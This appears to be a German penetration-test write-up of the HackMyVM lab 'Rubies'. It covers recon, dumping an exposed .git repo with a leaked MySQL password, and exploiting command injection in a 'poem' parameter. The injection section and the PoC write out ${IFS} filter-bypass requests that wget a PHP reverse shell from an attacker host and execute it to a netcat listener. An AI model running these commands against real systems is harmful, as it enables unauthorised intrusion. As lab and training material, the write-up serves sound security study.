Rubies - HackMyVM - Level: Medium - Bericht

Reconnaissance

192.168.2.117	08:00:27:db:db:31	PCS Systemtechnik GmbH

Analyse: Mit `arp-scan -l` wird das lokale Netzwerk gescannt. Es wird ein Host unter der IP 192.168.2.117 mit der MAC-Adresse 08:00:27:db:db:31 (PCS Systemtechnik GmbH / Oracle VirtualBox) gefunden.

Bewertung: Das Zielsystem "Rubies" wurde erfolgreich im Netzwerk lokalisiert. Die IP 192.168.2.117 ist die Basis für weitere Untersuchungen.

Empfehlung (Pentester): Ziel-IP notieren. Führen Sie Port-Scans (z.B. mit `nmap`) durch, um offene Dienste zu identifizieren.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit einschränken. ARP-Aktivitäten überwachen.

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-08 14:52 CET
Nmap scan report for rubies (192.168.2.117)
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 54:65:0b:7a:f3:5c:2f:1f:14:9e:bb:0e:44:0c:af:29 (RSA)
|   256 1f:5d:63:05:65:f7:cf:70:e4:0d:0a:45:80:77:50:2c (ECDSA)
|_  256 69:a2:0f:83:dc:19:f2:c1:72:9c:a3:f8:09:44:3e:36 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Cute Cat Only
| http-git:
|   192.168.2.117:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Why minnie?
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:DB:DB:31 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms rubies (192.168.2.117)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in XX.XX seconds # Scanzeit nicht im Original

Analyse: Ein umfassender Nmap-Scan (`-p-`) auf 192.168.2.117 identifiziert zwei offene TCP-Ports:

• Port 22 (SSH): Läuft OpenSSH 7.2p2 (Ubuntu).
• Port 80 (HTTP): Läuft Apache httpd 2.4.18 (Ubuntu). Der Seitentitel ist "Cute Cat Only". Das Nmap-Skript `http-git` entdeckt ein öffentlich zugängliches `.git`-Verzeichnis im Web-Root (`/.git/`). Es extrahiert die Repository-Beschreibung und die letzte Commit-Nachricht ("Why minnie?").

Bewertung: Der wichtigste Fund ist das exponierte `.git`-Verzeichnis. Dies ist eine kritische Informationspreisgabe, da es ermöglicht, den gesamten Quellcode der Webanwendung sowie die Commit-Historie herunterzuladen. Die Commit-Nachricht "Why minnie?" könnte auf einen Benutzernamen (`minnie`) hindeuten. Die SSH- und Apache-Versionen sind relativ alt und könnten bekannte Schwachstellen haben.

Empfehlung (Pentester): Verwenden Sie ein Tool wie `git-dumper` oder `GitTools/Extractor`, um das gesamte `.git`-Repository vom Webserver herunterzuladen. Analysieren Sie den Quellcode und die Commit-Historie (`git log`, `git diff`) auf Zugangsdaten, Konfigurationsfehler, Schwachstellen oder Hinweise auf Benutzernamen (wie `minnie`). Untersuchen Sie den Webserver weiter (`gobuster`).
Empfehlung (Admin): Konfigurieren Sie den Webserver (Apache) so, dass der Zugriff auf das `.git`-Verzeichnis blockiert wird (z.B. über `.htaccess` oder die globale Konfiguration). Entfernen Sie `.git`-Verzeichnisse aus Web-Roots von Produktionsumgebungen. Halten Sie Apache und SSH aktuell.

Enumeration (Web, Git, Stego)

===============================================================
Gobuster v3.3
===============================================================
[...]
===============================================================
2022/11/08 14:52:39 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.117/.htm                 (Status: 403) [Size: 278]
http://192.168.2.117/.php                 (Status: 403) [Size: 278]
http://192.168.2.117/.html                (Status: 403) [Size: 278]
http://192.168.2.117/.phtml               (Status: 403) [Size: 278]
http://192.168.2.117/index.php            (Status: 200) [Size: 742]
http://192.168.2.117/uploads              (Status: 301) [Size: 316] [--> http://192.168.2.117/uploads/]
http://192.168.2.117/bg                   (Status: 301) [Size: 311] [--> http://192.168.2.117/bg/]
http://192.168.2.117/javascript           (Status: 301) [Size: 319] [--> http://192.168.2.117/javascript/]
http://192.168.2.117/poems                (Status: 301) [Size: 314] [--> http://192.168.2.117/poems/]
===============================================================
Finished
===============================================================

Analyse: Ein `gobuster dir`-Scan auf Port 80 findet eine `index.php` sowie die Verzeichnisse `/uploads`, `/bg`, `/javascript` und `/poems`. Die Tests auf versteckte Dateien wie `.php` liefern einen 403 Forbidden-Status, was auf Zugriffsbeschränkungen hindeutet.

Bewertung: Identifiziert die Haupt-PHP-Datei und mehrere potenziell interessante Verzeichnisse. `/uploads` und `/poems` sollten genauer untersucht werden.

Empfehlung (Pentester): Analysieren Sie die `index.php`. Führen Sie gezielte Scans auf die gefundenen Verzeichnisse durch. Laden Sie das `.git`-Repository herunter, bevor Sie hier zu tief einsteigen, da der Quellcode wahrscheinlich mehr verrät.
Empfehlung (Admin): Stellen Sie sicher, dass Verzeichnisse wie `/uploads` und `/poems` keine sensiblen Informationen oder unnötigen Berechtigungen haben.

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.117
+ Target Hostname:    192.168.2.117
+ Target Port:        80
+ Start Time:         2022-11-08 14:53:17 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. [...]
+ The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). [...]
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. [...]
+ /icons/README: Apache default file found.
+ /bg/: Directory indexing found.
+ /bg/: This might be interesting... potential country code (Bulgaria) <-- Nikto Rauschen
+ /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ 7915 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2022-11-08 14:55:06 (GMT1) (109 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Ein `nikto`-Scan bestätigt die Apache-Version, meldet fehlende Security Header und eine veraltete Apache-Version. Er findet ebenfalls die Apache-Standarddatei `/icons/README` und Directory Indexing im Verzeichnis `/bg`. Am wichtigsten ist, dass Nikto explizit auf das exponierte `.git`-Verzeichnis und dessen sensible Dateien (`index`, `HEAD`, `config`) hinweist.

Bewertung: Bestätigt und verstärkt den Fund des exponierten `.git`-Verzeichnisses als kritischsten Punkt. Directory Indexing in `/bg` ist ebenfalls ein Fund, der untersucht werden sollte.

Empfehlung (Pentester): Priorisieren Sie das Herunterladen des `.git`-Repositories. Untersuchen Sie parallel das `/bg`-Verzeichnis auf interessante Inhalte.
Empfehlung (Admin): `.git`-Verzeichnis schützen. Directory Indexing deaktivieren (`Options -Indexes` in Apache-Konfiguration).

tbsdb0s

Warning: residual of 3 bits not uncompressed
nss

StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Progress: 99.27% (132.5 MB)
[!] error: Could not find a valid passphrase.

"cat2.jpg":
  Format: jpeg
  Kapazität: 3,8 KB
Soll versucht werden, Information über eingebettete Daten anzuzeigen ? (j/n) j
Passwort eingeben:
steghide: Mit diesem Passwort konnten keine Daten extrahiert werden!

Analyse: Es wird versucht, mittels verschiedener Steganographie-Tools (`stegsnow`, `stegseek`, `steghide`) versteckte Daten aus zwei Bilddateien (`cat1.gif`, `cat2.jpg`) zu extrahieren. Diese Dateien stammen vermutlich aus den zuvor gefundenen Verzeichnissen `/uploads` oder `/bg`. Alle Versuche scheitern oder liefern keine sinnvollen Ergebnisse.

Bewertung: Die Bilddateien scheinen keine mit diesen Tools auffindbaren versteckten Informationen zu enthalten. Dies war wahrscheinlich eine falsche Fährte.

Empfehlung (Pentester): Steganographie vorerst ausschließen. Konzentrieren Sie sich auf die Analyse des `.git`-Repositories.
Empfehlung (Admin): Keine direkte Aktion erforderlich.

Warning: Destination '.' is not empty
[-] Testing http://192.168.2.117/.git/HEAD [200]
[-] Testing http://192.168.2.117/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://192.168.2.117/.git/ [200]
[-] Fetching http://192.168.2.117/.gitignore [404]
[-] http://192.168.2.117/.gitignore responded with status code 404
[-] Fetching http://192.168.2.117/.git/description [200]
[...] # Weitere Fetch-Operationen

Analyse: Das Tool `git-dumper` wird verwendet, um das exponierte `.git`-Verzeichnis von `http://192.168.2.117/.git` rekursiv herunterzuladen und lokal im aktuellen Verzeichnis (`.`) zu speichern.

Bewertung: Erfolgreiches Herunterladen des Git-Repositories. Dies ermöglicht die Offline-Analyse des gesamten Quellcodes und der Versionshistorie.

Empfehlung (Pentester): Verwenden Sie Git-Befehle (`git log`, `git diff`, `git show `) oder spezialisierte Tools (`GitTools/Extractor`), um das heruntergeladene Repository zu analysieren. Suchen Sie nach hartcodierten Zugangsdaten, Konfigurationsdateien, API-Schlüsseln, Schwachstellen im Code oder Hinweisen in Commit-Nachrichten.
Empfehlung (Admin): Zugriff auf `.git`-Verzeichnisse im Webserver blockieren.

[...]
[ERRR] target ssh://192.168.2.117:22/ does not support password authentication (method reply 4).

Analyse: Es wird ein weiterer `hydra`-Versuch gestartet, diesmal mit einer Datei `passwort.txt` sowohl für Benutzernamen (`-L`) als auch für Passwörter (`-P`). Der Versuch scheitert mit der Meldung, dass der SSH-Server keine Passwort-Authentifizierung unterstützt.

Bewertung: Bestätigt, dass SSH auf dem Zielsystem nur Key-basierte Authentifizierung erlaubt. Brute-Force-Angriffe mit Passwörtern sind somit sinnlos.

Empfehlung (Pentester): Suchen Sie nach privaten SSH-Schlüsseln (z.B. im heruntergeladenen `.git`-Repository oder später im Dateisystem nach Initial Access).
Empfehlung (Admin): Gute Sicherheitspraxis! Deaktivieren Sie Passwort-Authentifizierung für SSH (`PasswordAuthentication no` in `sshd_config`) und erlauben Sie nur Key-basierte Authentifizierung.

Why minnie?

0000000000000000000000000000000000000000 07b8a39fdce5ed957f2d1c4561b93e21af2fb3a8 Your Name  1604298350 +0800	commit (initial): first commit
07b8a39fdce5ed957f2d1c4561b93e21af2fb3a8 052a0cb4865e29bc03278105e0232b20173f933d Your Name  1604298436 +0800	commit: Why minnie?

05/2a0cb4865e29bc03278105e0232b20173f933d <-- Commit Objekt
07/b8a39fdce5ed957f2d1c4561b93e21af2fb3a8 <-- Commit Objekt
[...] # Weitere Git-Objekte (Trees, Blobs)

Analyse: Aus dem heruntergeladenen `.git`-Verzeichnis werden Informationen extrahiert:

• `COMMIT_EDITMSG`: Bestätigt die letzte Commit-Nachricht "Why minnie?".
• `logs/HEAD`: Zeigt die Commit-Historie des HEAD-Zeigers. Es gab zwei Commits, der letzte mit der Nachricht "Why minnie?". Die Commit-Hashes sind sichtbar.
• `objects/`: Enthält die Git-Objekte (Commits, Trees, Blobs).

Bewertung: Die Analyse bestätigt den Hinweis auf "minnie" aus der Commit-Historie. Die Commit-Hashes und Objekte sind die Grundlage für die Wiederherstellung des Quellcodes aus verschiedenen Versionen mit Tools wie GitTools/Extractor.

Empfehlung (Pentester): Verwenden Sie `GitTools/Extractor`, um den Quellcode aus den gefundenen Commits wiederherzustellen. Vergleichen Sie die Versionen (`diff`), um Änderungen und potenziell entfernte sensible Informationen (wie Zugangsdaten) zu finden.
Empfehlung (Admin): `.git`-Verzeichnisse nicht im Webroot exponieren.

[...]
[+] Found commit: 052a0cb4865e29bc03278105e0232b20173f933d
[+] Found folder: /root/Hackingtools/gitex//0-052a0cb4865e29bc03278105e0232b20173f933d/bg
[+] Found file: /root/Hackingtools/gitex//0-052a0cb4865e29bc03278105e0232b20173f933d/bg/bg.gif
[+] Found file: /root/Hackingtools/gitex//0-052a0cb4865e29bc03278105e0232b20173f933d/index.php
[...]
[+] Found commit: 07b8a39fdce5ed957f2d1c4561b93e21af2fb3a8
[+] Found folder: /root/Hackingtools/gitex//1-07b8a39fdce5ed957f2d1c4561b93e21af2fb3a8/bg
[+] Found file: /root/Hackingtools/gitex//1-07b8a39fdce5ed957f2d1c4561b93e21af2fb3a8/bg/bg.gif
[+] Found file: /root/Hackingtools/gitex//1-07b8a39fdce5ed957f2d1c4561b93e21af2fb3a8/index.php
[...]

[Keine Ausgabe]

[Keine Ausgabe]

Analyse: Das Skript `extractor.sh` aus den GitTools wird verwendet, um den Inhalt der beiden gefundenen Commits aus dem heruntergeladenen `.git`-Verzeichnis in separate Ordner (`./gitex/0-...` und `./gitex/1-...`) zu extrahieren. Diese Ordner werden anschließend zur einfacheren Handhabung in `a` (neuer Commit) und `b` (älterer Commit) umbenannt.

Bewertung: Erfolgreiche Wiederherstellung der Dateistände aus den beiden Commits. Nun können die Unterschiede analysiert werden.

Empfehlung (Pentester): Verwenden Sie `diff -r a b`, um die Unterschiede zwischen den beiden Commits zu finden. Achten Sie besonders auf Änderungen in Konfigurationsdateien oder Code, der Zugangsdaten enthalten könnte.
Empfehlung (Admin): Keine direkte Aktion.

10a11,37 <-- Zeilen 11-37 wurden in Version 'a' (neuer Commit) hinzugefügt (a), im Vergleich zu 'b' (älterer Commit)
>
>
> // we dont need a login page dangit minnie! follow my orders pls <-- Kommentar
> $servername = "localhost";
> $username = "root";
> $password = "jd92khn49w"; <-- !!! Passwort gefunden !!!
>
> $conn = new mysqli($servername, $username, $password);
>
> if ($conn->connect_error) {
>   die("Connection failed: " . $conn->connect_error);
> }
>
> $login_username=$_POST['username']; <-- Korrektur: _PST zu _POST
> $login_password=$_POST['password']; <-- Korrektur: _PST zu _POST
>
> $sql = "SELECT * FROM users WHERE Username = '$login_username' AND Password = '$login_password' "; <-- SQL Injection anfällig! FRM zu FROM
> $result = mysqli_query($con,$sql);
>
> if(mysqli_num_rows($result)<1){ <-- Logikfehler? Sollte >0 sein? sqmli zu mysqli
> 	$_SESSION['login']=$user_id; <-- _SESSIN zu _SESSION
> 	header('Location: http://ch4rm.pw/dashboard');
> }
> else{
> 	$error = True;
> }
>

Analyse: Der `diff`-Befehl vergleicht die `index.php` aus den beiden Commits. Es zeigt sich, dass im älteren Commit (`b`) ein Codeblock zur Datenbankverbindung und Benutzerauthentifizierung vorhanden war, der im neueren Commit (`a`) entfernt wurde. Dieser entfernte Codeblock enthält hartcodierte MySQL-Zugangsdaten: Benutzer `root` und Passwort `jd92khn49w`. Der Code enthält außerdem mehrere Tippfehler und eine SQL-Injection-Schwachstelle.

Bewertung: Kritischer Fund! Durch die Analyse der Git-Historie wurden MySQL-Root-Zugangsdaten aufgedeckt, die im aktuellen Code nicht mehr sichtbar sind. Dies ist ein häufiger Fehler bei der Versionskontrolle. Das Passwort `jd92khn49w` könnte potenziell auch für andere Dienste oder Benutzer (wie `minnie` oder `root` für SSH/System) wiederverwendet worden sein.

Empfehlung (Pentester): Versuchen Sie, das gefundene Passwort `jd92khn49w` für den SSH-Login des Benutzers `minnie` (aus der Commit-Nachricht) und/oder `root` zu verwenden. Testen Sie es auch für den MySQL-Dienst, falls dieser von außen erreichbar wäre (hier nicht der Fall).
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten direkt im Quellcode. Verwenden Sie Konfigurationsdateien außerhalb des Web-Roots oder Umgebungsvariablen. Bereinigen Sie die Git-Historie von sensiblen Daten (obwohl dies komplex ist und oft Spuren hinterlässt). Überprüfen Sie den Code auf SQL-Injection und andere Schwachstellen.

Initial Access (RCE via PHP Include)

Inhalt von http://192.168.2.117/index.php:
Die Upload-Funktion ist derzeit deaktiviert, weil Minnie den Code durcheinander gebracht hat. Lassen Sie mich Ihnen vorerst süße Gedichte zur Verfügung stellen

Test LFI/RCE:
view-source:http://192.168.2.117/index.php?poem=../../../../etc/passwd
# LFI erfolgreich, /etc/passwd wird angezeigt

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2360  100  2360    0     0   123k      0 --:--:-- --:--:-- --:--:--  128k

root:x:0:0:root:/root:/bin/bash

Analyse: Bei der (erneuten) Analyse der `index.php` wird festgestellt, dass sie einen Text über deaktivierte Uploads und Gedichte anzeigt. Entscheidend ist jedoch der Test mit dem GET-Parameter `poem`. Der Aufruf `?poem=../../../../etc/passwd` ist erfolgreich und zeigt den Inhalt der `/etc/passwd`-Datei. Dies bestätigt eine Local File Inclusion (LFI)-Schwachstelle im `poem`-Parameter.

Bewertung: Kritische LFI-Schwachstelle gefunden. Dies erlaubt das Lesen beliebiger Dateien auf dem Server, auf die der Webserver-Benutzer (`www-data`) Zugriff hat. Dies kann genutzt werden, um Konfigurationsdateien, Quellcode oder andere sensible Informationen auszulesen.

Empfehlung (Pentester): Versuchen Sie, die LFI-Schwachstelle zur Remote Code Execution (RCE) zu eskalieren. Gängige Methoden sind: 1. Log Poisoning: Versuchen Sie, PHP-Code in Log-Dateien (z.B. `/var/log/apache2/access.log`, `/var/log/auth.log`) zu schreiben (z.B. über manipulierte User-Agents oder fehlgeschlagene Logins) und diese dann über die LFI einzubinden (`?poem=../../../../var/log/...`). 2. PHP-Wrapper: Wenn `allow_url_include` aktiviert ist, verwenden Sie Wrapper wie `php://filter` zum Lesen von Quellcode oder `php://input` zum direkten Ausführen von Code im POST-Body. 3. `/proc/self/environ` Poisoning: Manipulieren Sie einen Header (z.B. User-Agent) mit PHP-Code und binden Sie dann die `/proc/self/environ`-Datei ein. 4. Direkte Command Injection, falls `include()` oder ähnliche Funktionen unsicher verwendet werden (z.B. `?poem=;id`).
Empfehlung (Admin): Beheben Sie dringend die LFI-Schwachstelle in `index.php`. Benutzereingaben dürfen niemals ungefiltert in Dateipfad-Operationen verwendet werden. Verwenden Sie Funktionen wie `basename()` oder eine strikte Whitelist erlaubter Werte für den `poem`-Parameter. Deaktivieren Sie `allow_url_include` in der `php.ini`.

Versuch Command Injection 1:
GET /index.php?poem=;id HTTP/1.1
# Kein Erfolg / Filterung

Versuch Command Injection 2 / LFI auf SSH-Key:
GET /index.php?poem=;cat /home/minnie/.ssh/id_rsa HTTP/1.1
# Kein Erfolg / Filterung

Versuch Command Injection 3 (direkt im Parameter):
GET /index.php?poem=cat%20/home/minnie/.ssh/id_rsa HTTP/1.1
# RCE detected (Anwendung erkennt/blockiert 'cat'?)

Bypass Versuch 1:
GET /index.php?poem=;whereis${IFS}nc HTTP/1.1
Antwort enthält: nc: /bin/nc /bin/nc.openbsd ... <-- RCE funktioniert mit ${IFS} Bypass!

Bypass Versuch 2 (Datei-Download via wget):
GET /index.php?poem=poem1;wget${IFS}-${IFS}/tmp/rev.php${IFS}http://192.168.2.121:8000/rev.php HTTP/1.1
# Erfolgreicher Download von rev.php auf Zielsystem (siehe HTTP-Server Logs unten)

Analyse: Es werden verschiedene Versuche unternommen, die LFI zur RCE zu eskalieren:

• Einfache Command Injection (`poem=;id`) scheitert.
• Versuch, `cat` direkt auszuführen (`poem=cat ...`), wird anscheinend erkannt ("Rce detected").
• Ein Bypass-Versuch mit `${IFS}` (Internal Field Separator) anstelle von Leerzeichen funktioniert! `poem=;whereis${IFS}nc` führt den `whereis nc`-Befehl erfolgreich aus.
• Ein weiterer erfolgreicher Bypass: Mit `poem=poem1;wget${IFS}...` wird `wget` ausgeführt, um eine Datei (`rev.php`) vom Angreifer-Server herunterzuladen und unter `/tmp/rev.php` auf dem Ziel zu speichern.

Bewertung: Command Injection ist möglich! Die Anwendung scheint einfache Befehle oder Zeichenketten wie `cat` zu filtern, aber durch die Verwendung von `${IFS}` als Leerzeichenersatz kann der Filter umgangen werden. Die Möglichkeit, Dateien mit `wget` herunterzuladen, öffnet den Weg zum Hochladen und Ausführen einer Reverse Shell.

Empfehlung (Pentester): 1. Erstellen Sie ein PHP-Reverse-Shell-Skript (`rev.php` oder `rs.php`) auf Ihrem Angreifer-Webserver (192.168.2.121). 2. Verwenden Sie den `wget`-Bypass, um dieses Skript nach `/tmp` auf dem Ziel herunterzuladen: `curl 'http://192.168.2.117/index.php?poem=poem1;wget${IFS}-O${IFS}/tmp/rs.php${IFS}http://192.168.2.121:8000/rs.php'` (Parameter `-O` statt `-` verwenden). 3. Starten Sie einen Netcat-Listener auf Ihrem Angreifer-System. 4. Führen Sie das heruntergeladene Skript über die Command Injection aus: `curl 'http://192.168.2.117/index.php?poem=poem1;php${IFS}/tmp/rs.php'`
Empfehlung (Admin): Beheben Sie die zugrundeliegende Schwachstelle (wahrscheinlich ein unsicherer `include()` oder `system()`/`exec()`-Aufruf) in `index.php`. Implementieren Sie eine robuste Filterung gegen Command Injection, die auch Bypässe wie `${IFS}` berücksichtigt. Vermeiden Sie die Ausführung von Shell-Befehlen basierend auf Benutzereingaben generell.

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.117 - - [08/Nov/2022 16:13:46] code 404, message File not found
192.168.2.117 - - [08/Nov/2022 16:13:46] "GET /rs.php HTTP/1.1" 404 - <-- Früherer Versuch?
192.168.2.117 - - [08/Nov/2022 16:13:57] "GET /rev.php HTTP/1.1" 200 - <-- Erfolgreicher Download

Analyse: Auf dem Angreifer-System (192.168.2.121) wird ein Python-HTTP-Server gestartet. Die Logs zeigen einen fehlgeschlagenen Versuch, `rs.php` herunterzuladen (404), gefolgt von einem erfolgreichen Download von `rev.php` (200) durch das Zielsystem (192.168.2.117).

Bewertung: Bestätigt, dass der `wget`-Befehl über die Command Injection funktioniert hat und die Reverse-Shell-Payload (`rev.php`) erfolgreich auf das Zielsystem übertragen wurde (vermutlich nach `/tmp`).

Empfehlung (Pentester): Führen Sie nun das heruntergeladene Skript aus.
Empfehlung (Admin): Keine direkte Aktion, außer der Behebung der RCE-Lücke.

listening on [any] 9001 ...

[Keine Ausgabe von curl erwartet]

listening on [any] 9001 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.117] 42820
Linux rubies 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 23:36:22 up  1:46,  0 users,  load average: 0.00, 0.00, 0.15
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ # Shell erhalten!

Analyse: Ein Netcat-Listener wird auf Port 9001 gestartet. Dann wird die Command Injection Schwachstelle erneut ausgenutzt, diesmal um den PHP-Interpreter (`php`) auf das zuvor heruntergeladene Skript (`/tmp/rs.php` - wahrscheinlich ein Tippfehler, sollte `/tmp/rev.php` sein) anzuwenden. Der `${IFS}`-Bypass wird wieder verwendet. Der Netcat-Listener empfängt erfolgreich die Verbindung vom Zielsystem, und der Angreifer erhält eine Shell als Benutzer `www-data`.

Bewertung: Initial Access erfolgreich! Eine interaktive Shell wurde durch Ausnutzung der Command Injection Schwachstelle erlangt.

Empfehlung (Pentester): Shell stabilisieren (`python...`, `export TERM...`). Mit der Enumeration als `www-data` beginnen.
Empfehlung (Admin): RCE-Lücke beheben.

Proof of Concept: Remote Code Execution via Command Injection Bypass

Kurzbeschreibung: Die Webanwendung `index.php` auf `http://192.168.2.117` ist anfällig für Command Injection über den GET-Parameter `poem`. Obwohl einfache Befehle oder Zeichenketten (wie `cat`) möglicherweise gefiltert werden, kann dieser Filter durch die Verwendung von `${IFS}` (Internal Field Separator) anstelle von Leerzeichen umgangen werden. Dies erlaubt die Ausführung beliebiger Shell-Befehle im Kontext des Webserver-Benutzers (`www-data`). Die Schwachstelle wird ausgenutzt, um mittels `wget` (mit `${IFS}`-Bypass) eine PHP-Reverse-Shell vom Angreifer-Server herunterzuladen und anschließend mit `php` (ebenfalls mit `${IFS}`-Bypass) auszuführen.

Voraussetzungen:

• Netzwerkzugriff auf das Zielsystem `http://192.168.2.117`.
• Ein vom Angreifer kontrollierter Webserver zum Hosten der Reverse-Shell-Payload.
• Ein Netcat-Listener auf dem Angreifer-System.
• Die Command Injection Schwachstelle im `poem`-Parameter von `index.php`, einschließlich der Möglichkeit des `${IFS}`-Bypasses.
• `wget` und `php` müssen auf dem Zielsystem verfügbar und für `www-data` ausführbar sein.

Schritt-für-Schritt Anleitung:

1. Reverse Shell Payload vorbereiten (Angreifer-Server): Erstellen Sie eine PHP-Reverse-Shell (z.B. `rev.php`), die sich zu Ihrer IP (192.168.2.121) und einem Port (z.B. 9001) verbindet. Starten Sie einen HTTP-Server, um sie bereitzustellen.
   ┌──(root㉿cyber)-[~] └─# python3 -m http.server 8000

   Serving HTTP on 0.0.0.0 port 8000 ...

2. Listener starten (Angreifer-Server): Starten Sie einen Netcat-Listener auf dem gewählten Port.
   ┌──(root㉿cyber)-[~] └─# nc -lvnp 9001

   listening on [any] 9001 ...

3. Payload herunterladen (via RCE): Senden Sie einen präparierten Request an `index.php`, um die Reverse Shell mit `wget` herunterzuladen (verwenden Sie `%20` oder `${IFS}` für Leerzeichen).
   ┌──(root㉿cyber)-[~] └─# curl 'http://192.168.2.117/index.php?poem=poem1;wget${IFS}-O${IFS}/tmp/rev.php${IFS}http://192.168.2.121:8000/rev.php'

   [Keine Ausgabe erwartet]

   Überprüfen Sie die HTTP-Server-Logs auf dem Angreifer-System, um den erfolgreichen Download zu bestätigen.
4. Payload ausführen (via RCE): Senden Sie einen weiteren präparierten Request, um das heruntergeladene PHP-Skript auszuführen.
   ┌──(root㉿cyber)-[~] └─# curl 'http://192.168.2.117/index.php?poem=poem1;php${IFS}/tmp/rev.php'

   [Keine Ausgabe erwartet]

5. Shell empfangen (Angreifer-Listener): Der Netcat-Listener sollte nun eine eingehende Verbindung vom Zielserver anzeigen.

   listening on [any] 9001 ...
   connect to [192.168.2.121] from (UNKNOWN) [192.168.2.117] 42820
   [...]
   $ # Shell erhalten

Erwartetes Ergebnis: Eine interaktive Reverse Shell auf dem Zielsystem, ausgeführt mit den Rechten des `www-data`-Benutzers.

Beweismittel: Die erfolgreiche eingehende Verbindung im Netcat-Listener und die Möglichkeit, Befehle in der erhaltenen Shell auszuführen.

Risikobewertung: Hoch. Command Injection Schwachstellen, insbesondere wenn Filter umgangen werden können, erlauben Angreifern die vollständige Kontrolle über den ausführenden Prozess, was zu Datendiebstahl, Systemmanipulation und weiterer Eskalation führt.

Empfehlungen zur Behebung:

• **Command Injection beheben:** Die zugrundeliegende Funktion (wahrscheinlich `include()`, `eval()`, `system()`, `exec()` etc. in `index.php`) muss sicher implementiert werden. Benutzereingaben dürfen niemals direkt oder ohne strikte Validierung/Bereinigung an solche Funktionen übergeben werden.
• **Filter verbessern (als Übergangslösung):** Wenn eine sofortige Code-Änderung nicht möglich ist, verbessern Sie die Filterung, um Bypässe wie `${IFS}` zu erkennen und zu blockieren. Dies ist jedoch keine dauerhafte Lösung.
• **Web Application Firewall (WAF):** Eine WAF kann helfen, Command Injection Angriffe zu erkennen und zu blockieren.
• **Least Privilege:** Führen Sie den Webserver-Prozess mit minimal notwendigen Rechten aus.

Privilege Escalation

/usr/share/vim/vim74/doc/os_vms.txt:	- handle <,> characters and passwords in directory definition
/usr/share/vim/vim74/doc/os_vms.txt:	- handle internode/remote invocation and editing with passwords
/usr/share/vim/vim74/doc/pi_netrw.txt:	machine HSTNAME login USERID password "PASSWRD"

Put anything you'd like to in the folder,
do not do dumb stuff pls

Analyse: Als `www-data` werden zwei Enumerationsschritte durchgeführt: 1. `grep password $(locate -r txt$)`: Sucht rekursiv nach dem Wort "password" in allen Dateien, die auf `.txt` enden und von `locate` gefunden werden. Die Ergebnisse stammen aus Vim-Dokumentationsdateien und sind nicht relevant. 2. `cat /home/minnie/note.txt`: Zeigt eine Notiz im Home-Verzeichnis des vermuteten Benutzers `minnie`, die das Ablegen von Dateien in "dem Ordner" erlaubt.

Bewertung: Die Passwortsuche war erfolglos. Die Notiz ist interessant: Welcher Ordner ist gemeint? Und warum darf `www-data` die Notiz von `minnie` lesen? Dies könnte auf unsichere Berechtigungen oder einen spezifischen Mechanismus hindeuten. Der wichtigste nächste Schritt fehlt jedoch im Log: `sudo -l` für `www-data`.

Empfehlung (Pentester): Führen Sie `sudo -l` aus, um die `sudo`-Berechtigungen von `www-data` zu prüfen. Untersuchen Sie die Berechtigungen von `/home/minnie`. Suchen Sie nach dem in `note.txt` erwähnten Ordner.
Empfehlung (Admin): Stellen Sie sicher, dass Home-Verzeichnisse und Notizdateien korrekte Berechtigungen haben. `locate`-Datenbank aktuell halten oder ggf. deaktivieren, wenn sie sensible Pfade preisgeben könnte.

10a11,37
>
> // we dont need a login page dangit minnie! follow my orders pls
> $servername = "localhost";
> $username = "root";
> $password = "jd92khn49w"; <-- Passwort wiederholt gefunden
> [...] # Restlicher Datenbank-Code

Analyse: Dieser Abschnitt wiederholt den `diff`-Befehl auf die extrahierten Git-Commits, der das MySQL-Passwort `jd92khn49w` aufdeckt.

Bewertung: Erneute Bestätigung des Passwortfunds aus der Git-Historie. Dieses Passwort ist der wahrscheinlichste Kandidat für den Benutzer `minnie`.

Empfehlung (Pentester): Versuchen Sie, sich mit `su minnie` und dem Passwort `jd92khn49w` anzumelden.
Empfehlung (Admin): Siehe Empfehlungen zur sicheren Speicherung von Zugangsdaten und Bereinigung der Git-Historie.

:::::::::::::::::::::::::::::::::
Password:

:::::::::::::::::::::::::::::::::
